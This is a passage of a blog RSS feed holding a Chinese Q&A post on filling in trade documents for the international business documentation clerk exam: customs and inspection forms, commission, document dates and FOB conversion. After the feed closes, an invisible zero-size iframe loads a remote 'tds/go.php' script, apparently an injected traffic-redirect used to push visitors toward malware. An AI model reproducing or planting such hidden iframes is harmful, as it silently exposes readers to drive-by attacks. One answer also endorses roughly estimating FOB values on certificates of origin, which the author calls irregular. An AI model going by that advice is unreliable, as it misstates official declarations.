]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/693/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>国际商务单证员考试答疑（操作篇：上）</title>
		<link>http://blog.bomoo.com/pin/archives/691</link>
		<comments>http://blog.bomoo.com/pin/archives/691#comments</comments>
		<pubDate>Fri, 22 May 2009 15:39:19 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[单证员]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=691</guid>
		<description><![CDATA[这些问题是去年外贸课堂的学员提出来的，觉得具有一定的普遍性，整理之余，贴上来。 今年学员的疑问准备在下周收集齐后再统一作答。 国际商务单证员考试考前答疑汇总（操作篇：上）  ... ]]></description>
			<content:encoded><![CDATA[<blockquote><p>这些问题是去年<a href="http://blog.bomoo.com/pin/go.php?http://www.waimaoketang.com/" target="_blank" title="(No click)">外贸课堂</a>的学员提出来的，觉得具有一定的普遍性，整理之余，贴上来。</p>
<p>今年学员的疑问准备在下周收集齐后再统一作答。</p></blockquote>
<p><strong>国际商务单证员考试考前答疑汇总（操作篇：上）</strong></p>
<p> <strong>1。在报检单中收货人（中文）一栏中，是不是外文能够翻译的就填？不能翻译的就不填？<br />
</strong>不是，收货人一栏仅需填写英文名称<br />
 <br />
<strong> 2。报检单中 货物总值一栏中，是应该写成“12500美元”还是12500.00美元“？</strong><br />
两者兼可。<br />
 <br />
<strong> 3。报检单中，“需要证单名称”一栏中，填那些的依据是什么？还是不填？<br />
</strong> <br />
练习题中的依据是该大题内所涉及到的所有单证，现实中看实际随报检单交给商检局的单据是包含有哪些。一般的情况下C/I P/L S/C(或者P/I)是必须随附的单据。<br />
 <br />
 <strong>4。报关单中，报关员签名后还有一个报关员的号码，这个号码在那个资料中有吗？<br />
</strong> <br />
考试或者练习中，如果补充资料中显示则填写，没有则不填。现实中，这个报关员号码是在获得报关员资格证书的人员被一家公司聘后，在海关注册成正式的报关员时获得的注册号码，是固定的。<br />
 <br />
<strong> 5。报关单中邮编一栏，是不是有就填，没有就不填？还是？</strong><br />
考试或练习中，有就填，没有就不填。现实中即按照实际情况填写，例如在武汉，邮编则填写430000。</p>
<p> <strong>6。报关单中币制一栏，填“美元”外，可不可以填“USD”？<br />
</strong>可以。<br />
 <br />
<strong>7。“以美元报价，当日人民币兑美元的汇率是8.3/8.32”，意思是汇率是在8.3-8.32之间浮动，还是银行的买入价是8.3，卖出价是8.32？或者是别的意思？</strong><br />
买入价是8.3，卖出价是8.32<br />
 <br />
<strong>8。07年教材254页教材中案例题第一问关于F的计算中有个“1000/20”，我不知道是怎么来的，能不能下次上课的时候帮我解释一下？</strong><br />
1000kg/MT÷20kg/箱</p>
<p><strong>9。我想问下你有关佣金的问题，比如它在发票等一系列单据上应怎样列明？</strong><br />
 <br />
通俗地说，佣金COMMISION,即外贸公司为生产厂家介绍客户，交易成功后，外贸公司从交易金额中抽取的服务费用，一般以一个百分比来表达佣金所占总金额的比例。<br />
 <br />
所以，佣金只跟“价格”有关。<br />
 <br />
计算佣金的公式如课本中表述： 含佣价= 净价/（1 – 佣金率）<br />
 <br />
发票等一系列显示“价格”（不论是单价还是总金额）单据上表达佣金有两种方法：一、显示实际成交价格（净价），包括单价和总价，然后在附加条款中写上：此价格含佣金 ?%(E.G:The prices above are within 10% commission 例如：以上价格含佣金10%)；二、直接按计算公式算好单价和总金额，照计算结果列明即可。<br />
 <br />
第一种方法多用于外资公司的在其他国家的办事处，显示具体佣金比例以方便外资公司与办事处结算，相当于让第三方提供了一个证明。第二种方式往往用于外贸公司本身不太想让他们的客户了解自己所抽取的利润比例的情况下。</p>
<p><strong>10。什么是集装箱自重</strong></p>
<p>以下为详：</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td><img id="current" class="photoBorder" src="http://photo1.bababian.com/upload15/20090522/9F26A46205524CBBB25A97885F02C575_500.jpg" alt="" width="450" height="248" /></td>
<td> </td>
</tr>
</tbody>
</table>
<p><strong>11。DEAR EVA,<br />
晚上好！我对单据上的一些日期的规定越来越混淆了，整个处在了迷糊状态！很害怕看到关于日期的问题了！最后装运期，销售合同上的日期，发票上的日期，装箱单上的日期……</strong></p>
<p><strong>最后交单日期应该怎样确定呢？这一块我感觉有点薄弱，希望能给予清晰，详细的解答！谢谢！！</strong></p>
<p>□1最后装运期：LAST SHIPPING DATE/LAST DATE OF SHIPMENT<br />
目的是买方限定卖方的“交货最后期限”。所以作为物权的B/L日期必须早于或者同于该日期，以让卖方向买方在单证上证实该批货物“按时”出货。</p>
<p>□2销售合同上的日期：S/C DATE即签订合同当天的日期</p>
<p>□3发票上的日期：C/I DATE 即缮制该发票的日期</p>
<p>□4装箱单上的日期：P/L DATE 即缮制该装箱单的日期</p>
<p>以上2~4的日期，在现实工作中其实很容易填写，你在哪天做的单子，就填哪天；但在考试中，如果“补充资料”里面不说明制作以上单据的具体日期，就只能“任意”选取一个不会“不符合逻辑和规范“的日期即可。简单地说：2~4的日期仅需在开证日（L/C项下的话，若是托收或T/T则在托收通知日或T/T订金收到日）之后和提单日之前就可以了</p>
<p><strong>12。如果某批货的付款方式既包括信用证又包含托收，那么应该怎样制单？</strong></p>
<p>混合付款方式在国际贸易中非常常见，例如订金用T/T形式汇到受益人帐户，余款用L/C支付，制单时仅需要将金额按照每种支付方式的具体金额数分开做两批单据即可。至于报关、报检等与实物买卖相关的单据，本身与银行无关，提交的单据上还是整批货的总金额。</p>
<p><strong>13。如何将其他贸易术语下的价格统一换算成FOB价？原产地申请书上要求填写总金额，括号内要求以FOB价计算。</strong></p>
<p>在考试中，首先看补充资料有否直接换算过来的数字，如果没有，可根据教材第十章 国际商务单证业务中的计算 转换价格具体数额。</p>
<p>现实中，作为商业秘密，在填写原产地证明书时仅需要结合具体情况上下浮动一些金额即可，比如成交价是CIF，要转换成FOB价，即需考虑去掉保险费和运费，填写FOB价时，小于CIF金额即可。（当然这也是不规范的做法了，严格说来，是需要将价格进行转换的）</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/691/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
